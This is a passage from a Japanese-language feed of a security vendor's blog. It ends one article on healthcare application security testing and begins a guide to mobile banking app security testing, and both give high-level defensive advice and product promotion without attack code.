&lt;p&gt;外部ライブラリ、SDK、サービスを含むサードパーティのコンポーネントや連携は、アタックサーフェスをさらに拡大します。これらは開発を加速し機能を追加する一方で、依存関係のいずれかに脆弱性があれば、より広いシステムが危険にさらされる可能性があります。効果的なセキュリティ戦略には、これらのコンポーネントが隠れたリスクをもたらしていないことを確認するための継続的な評価が含まれ、ヘルスケアアプリケーションエコシステム全体の完全性とセキュリティを強化します。&lt;/p&gt;
&lt;h2 id="ヘルスケアアプリケーションセキュリティにおける可視性の課題"&gt;ヘルスケアアプリケーションセキュリティにおける可視性の課題&lt;/h2&gt;
&lt;p&gt;&lt;br/&gt;
&lt;figure&gt;&lt;img alt="さまざまなリスクが水面下に潜み、氷山の見えない部分となっている。レガシーシステム、シャドーAPI、把握されていないサードパーティ連携" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_healthcare_pillar_article/Pillar_iceberg.png" title="アプリケーション環境と隠れたセキュリティリスク"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;アプリケーション環境と隠れたセキュリティリスク&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
ヘルスケア組織にとっての大きな課題は、自社のアプリケーション環境に対する可視性の欠如です。監視されていないアプリケーション、シャドーAPI、時代遅れのシステムは、管理されないまま存続し、セキュリティ評価の際に見落とされがちな隠れたリスクを生み出します。こうした把握されていないアセットは、脆弱性が気付かれないまま存在し、検出される前に悪用される可能性があるため、攻撃者の格好の標的となります。したがって、露出を減らし強固なセキュリティ態勢を確保するには、すべてのアプリケーションコンポーネントにわたって明確な可視性を維持することが不可欠です。&lt;/p&gt;
&lt;p&gt;ヘルスケア環境は非常に動的で、新しいアプリケーション、アップデート、連携が定期的に導入されます。アセットの正確なインベントリを維持し、変化が起きたときに追跡するには、継続的な検出が欠かせません。このプロセスにより、すべてのアプリケーションとAPIがセキュリティテストの対象に含まれ、効果的に監視されるようになります。継続的な検出の主な要素は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;エコシステム全体で稼働しているすべてのアプリケーションとAPIのマッピング  &lt;/li&gt;
&lt;li&gt;バージョンの変更やアップデートのリアルタイムでの追跡  &lt;/li&gt;
&lt;li&gt;これまで知られていなかったアセットや忘れられていたアセットの特定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/attacksurface_discovery"&gt;アタックサーフェス管理&lt;/a&gt;は、露出しているアセットを評価・監視するための構造化されたアプローチを提供することで、継続的な検出を補完します。アプリケーションエコシステムの最新のマップを維持することで、組織は自社のリスクの露出をよりよく把握し、セキュリティへの取り組みに優先順位を付け、重要なコンポーネントが見落とされないようにできます。この体系的なアプローチは、アプリケーションセキュリティテストの効果を高め、組織の全体的なセキュリティ態勢を強化します。&lt;/p&gt;
&lt;h2 id="堅牢なヘルスケアアプリケーションセキュリティテスト戦略を構築する"&gt;堅牢なヘルスケアアプリケーションセキュリティテスト戦略を構築する&lt;/h2&gt;
&lt;h3 id="セキュリティテストを開発ライフサイクルに組み込む"&gt;セキュリティテストを開発ライフサイクルに組み込む&lt;/h3&gt;
&lt;p&gt;堅牢なヘルスケアアプリケーションセキュリティ戦略は、テストをソフトウェア開発ライフサイクルに直接組み込むことから始まります。設計と開発の段階で脆弱性を早期に特定することで、機密データの露出や重要なヘルスケアサービスの停止のリスクを大幅に減らせます。セキュリティテストを&lt;a href="https://docs.ostorlab.co/integrations/github/index.html"&gt;CI/CDパイプライン&lt;/a&gt;に組み込むことで、組織は定期的なチェックを自動化し、アプリケーションのすべてのアップデートとデプロイにわたって一貫したカバレッジを確保できます。&lt;/p&gt;
&lt;p&gt;主な実践事項は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アプリケーションのロジックとアーキテクチャにおける潜在的な弱点を特定するための、早期の脅威モデリング  &lt;/li&gt;
&lt;li&gt;デプロイ前にコーディングの誤りを捕捉するための、静的解析ツールの組み込み  &lt;/li&gt;
&lt;li&gt;CI/CDワークフロー内での、認証、データの取り扱い、暗号化メカニズムの自動テスト  &lt;/li&gt;
&lt;li&gt;セキュリティ標準への準拠を確認するための、APIとサードパーティの依存関係の定期的な検証&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この先回りのアプローチにより、セキュリティは後回しにされるものではなく、アプリケーション開発に不可欠な一部となります。この方法論を採用する組織は、自社のリスク態勢を継続的に把握でき、患者や業務に影響が及ぶ前に問題を修復でき、チーム全体にセキュアな開発の文化を築けます。&lt;/p&gt;
&lt;h3 id="継続的なアプリケーションセキュリティテストと監視"&gt;継続的なアプリケーションセキュリティテストと監視&lt;/h3&gt;
&lt;p&gt;頻繁なソフトウェアアップデート、新しい連携、進化する脅威の状況に対応し続けるには、継続的なテスト戦略が不可欠です。効果的な戦略は、次のような複数のテスト手法を組み合わせます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;静的アプリケーションセキュリティテスト（&lt;a href="https://ostorlab.co/product/mobilesast"&gt;SAST&lt;/a&gt;）&lt;/strong&gt;：デプロイ前にソースコードを調べ、潜在的な脆弱性を見つけます  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;動的アプリケーションセキュリティテスト（&lt;a href="https://ostorlab.co/product/mobiledast"&gt;DAST&lt;/a&gt;）&lt;/strong&gt;：実行中のアプリケーションを評価し、実行時の脆弱性やロジックの欠陥を特定します  &lt;/li&gt;
&lt;li&gt;&lt;a href="https://ostorlab.co/product/backend_api_network"&gt;&lt;strong&gt;APIテスト&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;：&lt;/strong&gt;複数のシステムを接続するインターフェースのセキュリティを評価し、不適切なエンドポイントを通じて機密データが露出していないことを確認します&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらのアプローチを重ねることで、組織はこれまで見えていなかった脆弱性を検出し、弱点の悪用を防ぎ、レジリエントなセキュリティ態勢を維持できます。継続的な監視によって、新たに現れた脅威や新たに持ち込まれたリスクが速やかに特定され、患者データや重要なシステムが侵害される前にチームが効果的に対応できます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;テスト手法&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;実施のタイミング&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;見つかるもの&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SAST&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コーディング中&lt;/td&gt;
&lt;td&gt;ロジックの欠陥、ハードコードされた認証情報&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DAST&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;実行時&lt;/td&gt;
&lt;td&gt;認証の問題、XSS、設定の誤り&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APIテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;連携時&lt;/td&gt;
&lt;td&gt;不適切なデータ開示、認可の不備&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;エージェント型スキャン&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;継続的&lt;/td&gt;
&lt;td&gt;複雑で多段階の脆弱性（AI駆動）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="アプリケーションセキュリティをヘルスケアのコンプライアンス要件に合わせる"&gt;アプリケーションセキュリティをヘルスケアのコンプライアンス要件に合わせる&lt;/h3&gt;
&lt;p&gt;ヘルスケアアプリケーションのセキュリティは、ヘルスケアにおける規制コンプライアンスと密接に結び付いています。HIPAA、GDPR、HITRUST、ISO 27001などのフレームワークに沿ったテストの実践は、データを保護するだけでなく、組織がリスクを積極的に管理していることを示します。こうした整合により、監査がより円滑になり、規制上の罰則が減り、ステークホルダーの信頼が築かれます。&lt;/p&gt;
&lt;p&gt;コンプライアンスを重視した効果的なセキュリティテストには、次のことが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;テストカバレッジを、規制や業界固有の制御に対応付ける  &lt;/li&gt;
&lt;li&gt;脆弱性が体系的に対処されていることを示す、実行可能なレポートを生成する  &lt;/li&gt;
&lt;li&gt;データの取り扱い、アクセス制御、暗号化メカニズムがコンプライアンス上の期待を満たしていることを検証する  &lt;/li&gt;
&lt;li&gt;説明責任のため、セキュリティテストと修復活動の監査証跡を維持する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;適切に整合された戦略により、セキュリティとコンプライアンスは別々のサイロとしてではなく、連携して機能するようになります。アプリケーション全体にわたって制御を継続的に検証することで、組織は規制面での信頼を維持しながら、患者の機密データが保護された状態を確保できます。&lt;/p&gt;
&lt;h3 id="アプリケーションレベルのインシデント検知と対応に備える"&gt;アプリケーションレベルのインシデント検知と対応に備える&lt;/h3&gt;
&lt;p&gt;包括的な予防策を講じていても、侵害やアプリケーションレベルのインシデントは起こり得ます。ヘルスケア組織は、患者の安全と業務への影響を最小限に抑えるため、迅速に検知し対応できるよう備えておく必要があります。そのためには、継続的な監視、インシデント分析、迅速な緩和策を組み合わせた構造化されたアプローチが求められます。&lt;/p&gt;
&lt;p&gt;不可欠な要素は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;異常な挙動や悪用の試みの可能性を特定するための、アプリケーションのリアルタイム監視  &lt;/li&gt;
&lt;li&gt;重要なシステムと患者向けアプリケーションを優先する、明確に定義されたインシデント対応手順  &lt;/li&gt;
&lt;li&gt;ネットワーク内での横展開やさらなるデータ露出を防ぐための、迅速な封じ込め措置  &lt;/li&gt;
&lt;li&gt;根本原因の特定、脆弱性の修復、再発防止のための、インシデント後の分析&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;インシデントに事前に備えることで、ヘルスケア組織はダウンタイムを減らし、機密情報を保護し、業務の継続性を維持できます。包括的に実施すれば、このアプローチはデジタルヘルスサービスへの信頼を強化し、患者の安全を確保し、セキュリティに対する先回りの姿勢を示すことになります。&lt;/p&gt;
&lt;h2 id="ヘルスケアアプリケーションセキュリティテストの未来"&gt;ヘルスケアアプリケーションセキュリティテストの未来&lt;/h2&gt;
&lt;p&gt;ヘルスケアが完全にデジタルなエコシステムへと進化し続けるなか、&lt;a href="https://ostorlab.co/solutions/healthcare"&gt;アプリケーションセキュリティテスト&lt;/a&gt;は、増大する複雑さと規模に適応しなければなりません。現代のヘルスケア環境は、もはや少数の管理されたシステムで構成されているのではなく、マイクロサービスアーキテクチャ、APIファーストの設計、マルチプラットフォームでのデプロイの上に構築された、動的で相互接続されたアプリケーションで構成されています。この変化はアタックサーフェスを大幅に拡大し、継続的かつ高度なテストアプローチを必要とする新たなカテゴリの脆弱性をもたらします。&lt;/p&gt;
&lt;p&gt;同時に、エージェント型AIは、セキュリティテストを硬直的なスクリプトから自律的な推論へと変えつつあります。従来のスキャンとは異なり、&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;OstorlabのDeep Agentic Scan&lt;/a&gt;は自律的なセキュリティ研究者として機能し、MFA、SSO、2FAといった複雑な認証の障壁を突破して、これまで人間の専門家しか到達できなかった深いビジネスロジックにまで到達します。この技術を際立たせているのは、次の能力です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;多段階の攻撃チェーンを実行する&lt;/strong&gt;：重大度の低い欠陥を特定して連鎖させ、本人確認の回避やモバイルAPIにおけるオブジェクトレベルの認可の不備（BOLA）の発見など、影響の大きいエクスプロイトを実証します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実証レベルのエビデンスを提供する&lt;/strong&gt;：すべての検出結果をリアルタイムで検証することで「ノイズ」を排除し、リクエストログや再現手順を含む、検証済みで実行可能なエビデンスを開発者に提供します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モバイル特有の境界を分析する&lt;/strong&gt;：AndroidとiOSのエコシステムを専門的に深く掘り下げ、汎用ツールが見落としがちなサードパーティSDKやディープリンク通信の脆弱性を明らかにします。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;結局のところ、ヘルスケアにおけるアプリケーションセキュリティは、システムとデータを保護するだけにとどまりません。患者の安全と信頼を直接支えるものです。ヘルスケアアプリケーションの脆弱性は、データの露出、サービスの停止、臨床業務の侵害につながる可能性があります。先回りの継続的なアプリケーションセキュリティテストを採用することで、ヘルスケア組織は、進化する脅威に直面しても自社のデジタルサービスを安全で信頼性が高く、レジリエントな状態に保つことができます。&lt;/p&gt;
&lt;h2 id="ostorlabがヘルスケアチームをどう支援するか"&gt;Ostorlabがヘルスケアチームをどう支援するか&lt;/h2&gt;
&lt;p&gt;この戦略を自社の患者向けアプリやポータルで実践したい方のために、Ostorlabが何を行い、何を必要とし、どこまでが対象範囲なのかを説明します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;得られるもの&lt;/strong&gt;：Ostorlabは、自社のヘルスアプリのリリースごとにテストを行います。ログインし、患者がダウンロードするビルドをテストし、アプリから医療記録、遠隔医療、処方の背後にあるAPIまでたどります。健康データがどこに書き込まれ、キャッシュされ、ログに記録され、あるいはスクリーンショットに取り込まれているかを確認し、記録へのアクセスを担うAPIについて認可の不備や過剰なデータ露出をテストし、アプリとそのSDKがどの個人データを収集し、どのエンドポイントに送信しているかをマッピングします。ソフトウェア構成分析（SCA）は、依存関係とSDKを既知の脆弱性と照合し、リリースごとにSBOMを作成します。AIエージェントによる各検出結果には再現可能な実際に動作するエクスプロイトが付属し、検出結果はJiraやその他のチケット管理システムに送信できます。GitHub ActionsなどのCI/CD連携にも対応しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;必要なもの&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アプリまたはポータル&lt;/strong&gt;：モバイルアプリの場合は、App StoreまたはGoogle Playでアプリを検索し、&lt;a href="https://ostorlab.co/"&gt;ostorlab.co&lt;/a&gt;でログイン不要の無料の高速スキャンを実行するか、アカウントを作成してAPK、AAB、または暗号化されていないIPAをアップロードします。患者ポータルや医療従事者向けWebアプリの場合は、対象のURLまたはドメインを指定します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストアカウント&lt;/strong&gt;：患者や医療従事者のフローは、スキャンがサインインできる場合にのみカバーされます。スキャンの設定でテストアカウントを追加し、SMS、TOTP、メールのいずれかでワンタイムコードを受け取る手段も用意してください。&lt;a href="https://docs.ostorlab.co/tutorials/2FA_scans.html"&gt;2FAガイド&lt;/a&gt;に、各方式の前提条件が記載されています。ログインが複雑なWebアプリでは、Chrome DevToolsで記録したPuppeteerスクリプトを使用できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIスキーマ（APIの場合）&lt;/strong&gt;：APIスキャンは、&lt;a href="https://docs.ostorlab.co/tutorials/web_api_scan_with_schema_file.html"&gt;OpenAPI、GraphQL、WSDLのスキーマ&lt;/a&gt;と、APIキーなどのHTTPヘッダーを受け付けます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネットワークアクセス&lt;/strong&gt;：インターネットに公開されたアプリには特別なアクセスは不要です。ファイアウォールやVPNの内側にあるステージング環境のアプリ、API、リポジトリには、&lt;a href="https://ostorlab.co/product/on-premises-scanning"&gt;オンプレミススキャン&lt;/a&gt;を使用するか、スキャナーのIPアドレスを許可してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;対象範囲に含まれるもの、含まれないもの&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;対象範囲：Android、iOS、HarmonyOS上の患者向けモバイルアプリ、その背後にあるAPIとバックエンド、そして患者ポータルと医療従事者向けWebアプリ。WebアプリとAPIは、&lt;a href="https://ostorlab.co/product/web_agentic_deep_scan"&gt;Web Agentic Deep Scan&lt;/a&gt;を使えば、モバイルアプリなしで単独でテストできます。&lt;/li&gt;
&lt;li&gt;Ostorlabはコンプライアンス認証ではありません。安全でないデータ保存、通信中の暗号化の欠如、サードパーティSDKを通じたデータ漏えいなど、HIPAAのセキュリティ上の期待事項に照らしたテストを支援し、監査のエビデンスとして再利用できるレポートを提供します。&lt;/li&gt;
&lt;li&gt;Ostorlabは手動のペネトレーションテストに代わるものではありません。リリースごとにテストを行うため、手動テストの合間に問題を発見できます。人間の判断が必要な範囲については、手動テストを継続してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ostorlab.co/case-studies/rsa-security"&gt;RSA Securityの事例研究&lt;/a&gt;では、設計からリリースまで、モバイルのセキュアな開発ライフサイクル全体にOstorlabが組み込まれている様子を紹介しています。&lt;/li&gt;
&lt;li&gt;ベンダー審査向けの情報：OstorlabはSOC 2 Type IIレポート（Securityの基準、対象期間は2024年11月18日から2025年4月18日まで）を取得しており、現在の期間の監査が進行中です。データは保存時と通信時に暗号化されており、Enterpriseプランでは、データレジデンシーを米国、欧州連合、GCC、アジア太平洋から選択できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;次のステップ&lt;/strong&gt;：まずはストアにある自社アプリの無料スキャンから始め、その後テストアカウントを追加してフルスキャンを実行し、ログイン後の患者フローをカバーしてください。自社のアプリやポータル全体のテストを計画するには、&lt;a href="https://ostorlab.co/solutions/healthcare"&gt;ヘルスケア向けOstorlab&lt;/a&gt;をご覧いただくか、&lt;a href="https://ostorlab.co/demo"&gt;デモを予約&lt;/a&gt;してください。&lt;/p&gt;</content><category term="Security"/><category term="Healthcare"/><category term="Security"/><category term="Compliance"/></entry><entry><title>モバイルバンキングアプリのセキュリティテストガイド</title><link href="https://blog.ostorlab.co/ja/mobile-banking-security-testing.html" rel="alternate"/><published>2026-04-16T09:59:00+02:00</published><updated>2026-09-28T00:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-04-16:/ja/mobile-banking-security-testing.html</id><summary type="html">&lt;p&gt;モバイルバンキングアプリを守るには、クライアントを保護するだけでは不十分です。本ガイドでは、端末、ネットワーク、バックエンドシステムにまたがるリスクを整理し、金融データと取引を守るために継続的なモバイルセキュリティテストが不可欠である理由を解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;モバイルは今や、顧客が金融機関とやり取りする主要なデジタルチャネルです。最新のバンキングアプリケーションでは、ユーザーが口座残高の確認、送金、請求書の支払い、受取人の管理、本人確認に関する手続きを、モバイル端末から直接行えます。こうしたアプリケーションが顧客体験の中心になるにつれ、金融機関全体のセキュリティ態勢においても、より重要な存在になっています。&lt;/p&gt;
&lt;p&gt;モバイルバンキングアプリは極めて機密性の高い金融情報や個人情報を処理するため、サイバー犯罪者にとって魅力的な標的です。攻撃者は、認証情報の窃取、通信の傍受、脆弱なAPIの悪用、金銭目的での取引ワークフローの操作を試みる可能性があります。このリスクは、モバイル環境の性質によってさらに増幅されます。バンキングアプリは金融機関が管理できない端末上で動作し、複数のバックエンドサービスと通信し、複雑な認証、セッション、決済のロジックに依存しています。この組み合わせが、広範で変化し続けるアタックサーフェスを生み出します。&lt;/p&gt;
&lt;p&gt;こうした複雑さを踏まえ、金融機関には、端末、ネットワーク、バックエンドシステムにわたってバンキングアプリケーションがどのように振る舞うかを評価できる&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;最新のモバイルセキュリティテスト&lt;/a&gt;のアプローチが必要です。これにより、チームは弱点をより早く特定し、機密データと重要なワークフローが適切に保護されているかを検証し、エンジニアリングチームに修復のためのより明確な方向性を示せます。&lt;/p&gt;
&lt;h2 id="モバイルバンキングのセキュリティテストが重要な理由"&gt;モバイルバンキングのセキュリティテストが重要な理由&lt;/h2&gt;
&lt;p&gt;モバイルアプリケーションセキュリティテスト（MAST）は、実際の攻撃で悪用される前に脆弱性を特定することで、モバイルバンキングアプリケーションの耐性を評価するために用いられます。効果的なモバイルセキュリティテストは、静的解析、動的評価、実行時の観察を組み合わせ、アプリケーションのコード、実行時の挙動、ローカルストレージ、ネットワーク通信を調べます。最新のモバイルセキュリティテストは、理論上の検出結果を出すだけでなく、ログ、トレース、実行アーティファクトといった技術的なエビデンスも生成でき、エンジニアリングチームが問題を検証し、確信を持って修復の優先順位付けを行えるよう支援します。&lt;/p&gt;
&lt;p&gt;モバイル金融アプリケーションは、デジタルエコシステムの中でも特に機密性の高い情報を扱っています。これには、個人の身元データ、認証用のシークレット、口座記録、取引の詳細が含まれます。この環境に影響する弱点は、直接的な金銭的損失だけでなく、評判や規制面でも深刻な影響をもたらす可能性があります。&lt;/p&gt;
&lt;p&gt;モバイルバンキングのセキュリティを特に複雑にしている要因はいくつかあります。金融アプリケーションは高額かつ極めて機密性の高いデータを処理するため、当然ながらサイバー犯罪者を引き寄せます。また、iOS、Android、そして状況によってはHarmonyOSなど、多様なハードウェアとオペレーティングシステム上で動作するため、セキュリティチームが考慮すべき技術的な変数が増えます。同時に、ユーザーは信頼できない端末や侵害された端末からこれらのアプリケーションにアクセスする可能性があり、金融機関が完全には管理できない新たな露出が生まれます。&lt;/p&gt;
&lt;p&gt;従来のWebアプリケーションと比べて、モバイルアプリには追加のセキュリティ上の考慮事項もあります。モバイルアプリは、ローカルストレージ、実行環境、組み込みコンポーネント、アプリの権限、ディープリンク、モバイル固有のフレームワークに依存しています。そのため組織には、標準的なWebセキュリティの手法を超え、モバイルエコシステム特有の実情を考慮したテスト手法が必要です。&lt;/p&gt;
&lt;p&gt;セキュリティテストは、フロントエンドとバックエンドの両方のシステムで保護メカニズムが一貫して機能していることを、金融機関が検証するのに役立ちます。重要なユーザージャーニーにおける弱点を特定し、機密データが安全に扱われているかを検証し、頻繁なリリースやアップデートを通じてアプリケーションが進化してもセキュリティ制御が有効であり続けることを確認できます。既存の弱点の規模を見れば、その重要性が分かります。調査では、ハードコードされたシークレットがアプリの&lt;strong&gt;50%&lt;/strong&gt;以上に影響しており、古いライブラリは&lt;strong&gt;46%&lt;/strong&gt;で見つかりました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;これらの検出結果の背景にあるデータを詳しく知るには、&lt;a href="https://blog.ostorlab.co/banking-report-2025.html"&gt;500以上のモバイルバンキングアプリを対象とした大規模調査に基づくBanking Report 2025の全文をお読みください&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="モバイルバンキングのアタックサーフェス"&gt;モバイルバンキングのアタックサーフェス&lt;/h2&gt;
&lt;p&gt;効果的なセキュリティを実現するには、金融機関はモバイルバンキングを単独のアプリではなく、エコシステム全体として捉える必要があります。一般的なバンキング環境は、クライアント端末、ネットワーク通信層、バックエンドシステムにまたがっています。各層はそれぞれ異なる種類のリスクをもたらし、攻撃者はそのうちの一つだけを狙うのではなく、層をまたいで移動することがよくあります。&lt;/p&gt;
&lt;p&gt;クライアントのレベルでリスクにさらされる主なアセットは、ユーザーの認証情報、アプリのロジック、ローカルで処理されるデータです。ネットワーク側では、認証トークン、口座の詳細、取引情報を含む転送中のデータが主な懸念事項です。バックエンドシステムでは、ID管理サービス、金融記録、取引処理のロジックが最も価値の高いアセットです。そのため、モバイルバンキングアプリを保護するには、3つの層すべてにわたって連携したセキュリティ制御が必要です。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;&lt;strong&gt;層&lt;/strong&gt;&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&lt;strong&gt;リスクにさらされる主なアセット&lt;/strong&gt;&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&lt;strong&gt;一般的な緩和策&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;クライアント&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ユーザーの認証情報とアプリのロジック&lt;/td&gt;
&lt;td style="text-align: left;"&gt;難読化とroot検知&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ネットワーク&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;転送中のデータ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;証明書ピンニングと暗号化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;バックエンド&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個人データと金融データ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;堅牢なIAMとAPIゲートウェイ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="端末レベルのリスク"&gt;端末レベルのリスク&lt;/h3&gt;
&lt;p&gt;モバイルバンキングに対する脅威では、ユーザーの端末が最初の攻撃ポイントになることがよくあります。攻撃者は、アプリの仕組みを理解したり、隠された機能を特定したり、ハードコードされたシークレットを抽出したりするために、アプリケーションのバイナリをリバースエンジニアリングしようとする可能性があります。侵害された端末では、セキュリティ制御を回避したり、実行中のアプリの挙動を変えたりするために、マルウェアの注入や実行時の操作を試みることもあります。金融機関はユーザーの端末の健全性や信頼度を完全には管理できないため、難読化、実行時チェック、ハードニング技術といったアプリケーションレベルの保護が特に重要です。古いアプリケーション基盤がいまだに一般的な市場では、これはなおさら重要です。&lt;a href="https://blog.ostorlab.co/banking-report-2025.html"&gt;500以上のモバイルバンキングアプリを対象とした大規模調査&lt;/a&gt;では、分析したiOSアプリの&lt;strong&gt;25%&lt;/strong&gt;が2008年から2011年の間に、さらに&lt;strong&gt;22%&lt;/strong&gt;が2011年から2014年の間にリリースされており、Androidアプリの&lt;strong&gt;27%&lt;/strong&gt;は2010年から2013年の間にリリースされていました。&lt;/p&gt;
&lt;h3 id="ネットワーク通信のリスク"&gt;ネットワーク通信のリスク&lt;/h3&gt;
&lt;p&gt;モバイルバンキングアプリケーションは、認証、口座へのアクセス、決済フローのために、バックエンドのAPIとの通信に大きく依存しています。この通信が適切に保護されていなければ、攻撃者は中間者攻撃（MitM）によってトラフィックを傍受または改ざんしようとする可能性があります。これにより、転送中の認証トークン、セッションデータ、取引の詳細が露出するおそれがあります。このリスクを減らすには、強固なトランスポートセキュリティ、証明書の検証、安全なセッション処理が不可欠です。脆弱なトランスポートの実装がいまだに残っていることも、この点を裏付けています。分析したバンキングアプリの&lt;strong&gt;20%&lt;/strong&gt;では、いまだに平文のHTTPが見つかっています。&lt;/p&gt;
&lt;h3 id="バックエンドシステムのリスク"&gt;バックエンドシステムのリスク&lt;/h3&gt;
&lt;p&gt;モバイルクライアント自体が十分に保護されていても、バックエンドの認証、認可、取引検証に弱点があれば、不正やデータ漏えいにつながる可能性があります。攻撃者は、保護が不十分なエンドポイント、脆弱なIDフロー、認可チェックの欠如を悪用して、機密記録にアクセスしたり、不正な操作を実行したりする可能性があります。実際のところ、モバイルバンキングのセキュリティは、アプリを支えるバックエンドシステムの強さに左右されます。バックエンドの集中は、システム全体の露出も高めます。調査では、iOSバンキングアプリの&lt;strong&gt;78%&lt;/strong&gt;が2つ以下のバックエンドに接続しており、バンキングアプリのバックエンドの&lt;strong&gt;77%&lt;/strong&gt;以上が米国を拠点としていました。&lt;/p&gt;
&lt;p&gt;この集中はインフラストラクチャのレベルでも見られます。&lt;a href="https://blog.ostorlab.co/banking-report-2025.html"&gt;OstorlabのBanking Report 2025&lt;/a&gt;は、多くのモバイルバンキングアプリが限られた数のバックエンドシステムに依存していることを示しており、API、IDサービス、取引検証層を保護することの重要性が高まっています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="iOSとAndroidのモバイルバンキングアプリにおけるバックエンドの集中" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_banking_security/Backend distribution.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="強力な保護が必要なモバイルバンキングの重要なワークフロー"&gt;強力な保護が必要なモバイルバンキングの重要なワークフロー&lt;/h2&gt;
&lt;p&gt;モバイルバンキングアプリケーションは、特にリスクの高い少数のワークフローに依存しています。これらのワークフローが侵害されると、攻撃者は口座への不正アクセス、取引の宛先の変更、機密性の高い金融データの露出を引き起こす可能性があります。そのため、これらの領域はテストにおいてセキュリティ上の優先事項として扱うべきです。&lt;/p&gt;
&lt;h3 id="認証と本人確認"&gt;認証と本人確認&lt;/h3&gt;
&lt;p&gt;認証は、ユーザー環境全体へのアクセスを制御するため、バンキングアプリケーションで最も重要な機能の一つです。モバイルバンキングアプリでは、パスワード、生体認証、ワンタイムコード、トークンベースの仕組みを組み合わせて使うのが一般的です。この領域のセキュリティテストでは、認証ロジックを回避できるかどうか、セッショントークンが予測可能か不適切に保護されていないか、生体認証が安全に実装されているか、ログインフローを操作できるかどうかを調べます。認証はあらゆる機密操作への入り口であるため、小さな弱点でも大きな影響をもたらす可能性があります。生体認証は現在バンキングアプリの&lt;strong&gt;65%&lt;/strong&gt;で採用されている一方、その&lt;strong&gt;28%&lt;/strong&gt;では生体認証バイパスの脆弱性が依然として確認されていることから、この点は特に重要です。&lt;/p&gt;
